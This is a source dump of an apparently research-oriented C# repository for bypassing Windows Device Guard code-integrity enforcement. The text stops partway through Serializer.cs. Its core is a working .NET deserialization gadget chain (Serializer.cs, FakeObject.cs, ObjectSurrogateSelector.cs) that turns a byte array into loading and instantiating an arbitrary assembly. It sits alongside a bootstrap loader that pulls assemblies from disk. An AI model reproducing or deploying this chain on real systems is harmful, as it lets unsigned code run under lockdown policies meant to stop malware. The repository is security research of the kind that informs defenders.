Repository: tyranid/DeviceGuardBypasses
Branch: master
Commit: b03674197eda
Files: 33
Total size: 107.5 KB
Directory structure:
gitextract_dx91lcro/
├── .gitattributes
├── .gitignore
├── AUTHORS
├── Bootstrap/
│ ├── AssemblyResolver.cs
│ ├── Bootstrap.csproj
│ ├── EntryPoint.cs
│ └── Properties/
│ └── AssemblyInfo.cs
├── CommonLib/
│ ├── CommonLib.csproj
│ ├── FakeObject.cs
│ ├── ObjectSurrogateSelector.cs
│ ├── Properties/
│ │ └── AssemblyInfo.cs
│ └── Serializer.cs
├── CreateAddInIpcData/
│ ├── App.config
│ ├── CreateAddInIpcData.csproj
│ ├── Program.cs
│ ├── Properties/
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ └── Resources.resx
│ └── Resources/
│ └── Template.txt
├── CreateInstallState/
│ ├── App.config
│ ├── CreateInstallState.csproj
│ ├── Program.cs
│ └── Properties/
│ └── AssemblyInfo.cs
├── DeviceGuardBypasses.sln
├── ExampleAsm/
│ ├── EntryPoint.cs
│ ├── ExampleAsm.csproj
│ └── Properties/
│ └── AssemblyInfo.cs
├── LICENSE
├── README
└── RunPowershell/
├── App.config
├── Program.cs
├── Properties/
│ └── AssemblyInfo.cs
└── RunPowershell.csproj
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
[Xx]64/
[Xx]86/
[Bb]uild/
bld/
[Bb]in/
[Oo]bj/
# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Un-comment the next line if you do not want to checkin
# your web deploy settings because they may include unencrypted
# passwords
#*.pubxml
*.publishproj
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# NuGet v3's project.json files produces more ignoreable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Microsoft Azure ApplicationInsights config file
ApplicationInsights.config
# Windows Store app package directory
AppPackages/
BundleArtifacts/
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# LightSwitch generated files
GeneratedArtifacts/
ModelManifest.xml
# Paket dependency manager
.paket/paket.exe
# FAKE - F# Make
.fake/
================================================
FILE: AUTHORS
================================================
James Forshaw
================================================
FILE: Bootstrap/AssemblyResolver.cs
================================================
// This file is part of Device Guard Bypasses
//
// Device Guard Bypasses is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation, either version 3 of
// the License, or (at your option) any later version.
//
// Foobar is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Device Guard Bypasses. If not, see.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
namespace Bootstrap
{
class AssemblyResolver
{
private Dictionary _resolved_asms =
new Dictionary(StringComparer.OrdinalIgnoreCase);
private HashSet _resolver_paths =
new HashSet(StringComparer.OrdinalIgnoreCase);
private bool _trace_enabled;
public bool TraceEnabled
{
get
{
return _trace_enabled;
}
set
{
_trace_enabled = value;
}
}
private void Trace(string str)
{
if (_trace_enabled)
{
Console.WriteLine(str);
}
}
private void Trace(string fmt, params object[] objs)
{
Trace(String.Format(fmt, objs));
}
internal void ResetCache()
{
_resolved_asms.Clear();
Assembly asm = typeof(EntryPoint).Assembly;
_resolved_asms["bootstrap"] = asm;
_resolved_asms[asm.FullName] = asm;
}
internal void ResetMissingCache()
{
foreach (var pair in _resolved_asms.ToArray())
{
if (pair.Value == null)
{
_resolved_asms.Remove(pair.Key);
}
}
}
internal AssemblyResolver()
{
ResetCache();
// Get list of assembly paths from environment if ASSEMBLY_PATH exists.
string asm_path = Environment.GetEnvironmentVariable("ASSEMBLY_PATH");
if (!String.IsNullOrWhiteSpace(asm_path))
{
foreach (string path in asm_path.Split(new[] { ';' }, StringSplitOptions.RemoveEmptyEntries))
{
_resolver_paths.Add(Path.GetFullPath(path));
}
}
else
{
// Default to Documents\assembly
_resolver_paths.Add(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "assembly"));
}
// Setup resolver.
AppDomain.CurrentDomain.AssemblyResolve += CurrentDomain_AssemblyResolve;
}
internal void AddAssemblyPath(string path)
{
_resolver_paths.Add(Path.GetFullPath(path));
}
private string FindAssemblyPath(AssemblyName name, string extension)
{
foreach (string path in
_resolver_paths.Select(p =>
Path.ChangeExtension(Path.Combine(p, name.Name), extension)))
{
Trace("Checking {0}", path);
if (File.Exists(path))
{
return path;
}
}
return null;
}
private Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
{
Trace("Looking up {0}", args.Name);
if (!_resolved_asms.ContainsKey(args.Name))
{
AssemblyName name = new AssemblyName(args.Name);
string path = FindAssemblyPath(name, ".exe") ?? FindAssemblyPath(name, ".dll");
if (path != null)
{
Assembly asm = Assembly.Load(File.ReadAllBytes(path));
_resolved_asms[args.Name] = asm;
_resolved_asms[asm.FullName] = asm;
}
else
{
_resolved_asms[args.Name] = null;
}
}
return _resolved_asms[args.Name];
}
}
}
================================================
FILE: Bootstrap/Bootstrap.csproj
================================================
Debug
AnyCPU
{3705800F-1424-465B-937D-586E3A622A4F}
Exe
Properties
Bootstrap
Bootstrap
v4.5.2
512
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
pdbonly
true
bin\Release\
TRACE
prompt
4
================================================
FILE: Bootstrap/EntryPoint.cs
================================================
// This file is part of Device Guard Bypasses
//
// Device Guard Bypasses is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation, either version 3 of
// the License, or (at your option) any later version.
//
// Foobar is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Device Guard Bypasses. If not, see..
using System;
using System.IO;
using System.Threading;
namespace Bootstrap
{
public class EntryPoint
{
private static AssemblyResolver _main_resolver = new AssemblyResolver();
static void MainThread(object resolver)
{
try
{
AppDomain.CurrentDomain.ExecuteAssemblyByName("startasm");
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
public EntryPoint()
{
// Execute the assembly named startasm.
Thread thread = new Thread(MainThread);
thread.Start(_main_resolver);
thread.Join();
}
///
/// Add a path to the assembly lookup
///
/// The path for lookup
public static void AddAssemblyPath(string path)
{
_main_resolver.AddAssemblyPath(Path.GetFullPath(path));
}
///
/// Reset entire cache.
///
public static void ResetCache()
{
_main_resolver.ResetCache();
}
///
/// Reset cache to remove any assemblies which weren't found.
///
public static void ResetMissingCache()
{
_main_resolver.ResetMissingCache();
}
public static bool TraceEnabled
{
get
{
return _main_resolver.TraceEnabled;
}
set
{
_main_resolver.TraceEnabled = value;
}
}
///
/// Entrypoint for testing.
///
static void Main()
{
try
{
EntryPoint ep = new EntryPoint();
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
}
}
================================================
FILE: Bootstrap/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Bootstrap")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Bootstrap")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("3705800f-1424-465b-937d-586e3a622a4f")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: CommonLib/CommonLib.csproj
================================================
Debug
AnyCPU
{4E6CEEA1-F266-401C-B832-F91432D46F42}
Library
Properties
CommonLib
CommonLib
v4.5
512
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
pdbonly
true
bin\Release\
TRACE
prompt
4
================================================
FILE: CommonLib/FakeObject.cs
================================================
// This file is part of Device Guard Bypasses
//
// Device Guard Bypasses is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation, either version 3 of
// the License, or (at your option) any later version.
//
// Foobar is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Device Guard Bypasses. If not, see.
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.Security;
namespace CommonLib
{
[Serializable]
public class WrappedAssemblyObject : ISerializable
{
public byte[] _assembly;
public WrappedAssemblyObject(string filename)
{
_assembly = File.ReadAllBytes(filename);
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new ObjectSurrogateSelector();
fmt.Serialize(stm, Serializer.CreateAssemblyLoader(_assembly));
info.SetType(typeof(RolePrincipal));
info.AddValue("System.Security.ClaimsPrincipal.Identities", Convert.ToBase64String(stm.ToArray()));
}
}
}
================================================
FILE: CommonLib/ObjectSurrogateSelector.cs
================================================
// This file is part of Device Guard Bypasses
//
// Device Guard Bypasses is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation, either version 3 of
// the License, or (at your option) any later version.
//
// Foobar is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Device Guard Bypasses. If not, see.
using System;
using System.Runtime.Serialization;
namespace CommonLib
{
public class ObjectSurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
}
================================================
FILE: CommonLib/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("CommonLib")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("CommonLib")]
[assembly: AssemblyCopyright("Copyright © James Forshaw 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("4e6ceea1-f266-401c-b832-f91432d46f42")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: CommonLib/Serializer.cs
================================================
// This file is part of Device Guard Bypasses
//
// Device Guard Bypasses is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation, either version 3 of
// the License, or (at your option) any later version.
//
// Foobar is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Device Guard Bypasses. If not, see.
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel.Design;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.UI.WebControls;
using System.Xml;
namespace CommonLib
{
public class Serializer
{
static T CreateDelegate(MethodInfo mi)
{
return (T)(object)Delegate.CreateDelegate(typeof(T), mi);
}
static T CreateDelegate(Type type, string name)
{
return CreateDelegate(type.GetMethod(name));
}
static T CreateGetterDelegate(Type type, string name)
{
return CreateDelegate(type.GetProperty(name).GetMethod);
}
public static object CreateAssemblyLoader(byte[] assembly)
{
// Build a chain to map a byte array to creating an instance of a class.
// byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!
byte[][] data = new byte[1][];
data[0] = assembly;
var e1 = data.Select(Assembly.Load);
var map_type = CreateDelegate>>(typeof(Assembly), "GetTypes");
var e2 = e1.SelectMany(map_type);
var p = CreateGetterDelegate>(typeof(Type), "IsPublic");
var e3 = e2.Where(p);
var e4 = e3.Select(Activator.CreateInstance);
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e4 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
// Pre-load objects, this ensures they're fixed up before building the hash table.
List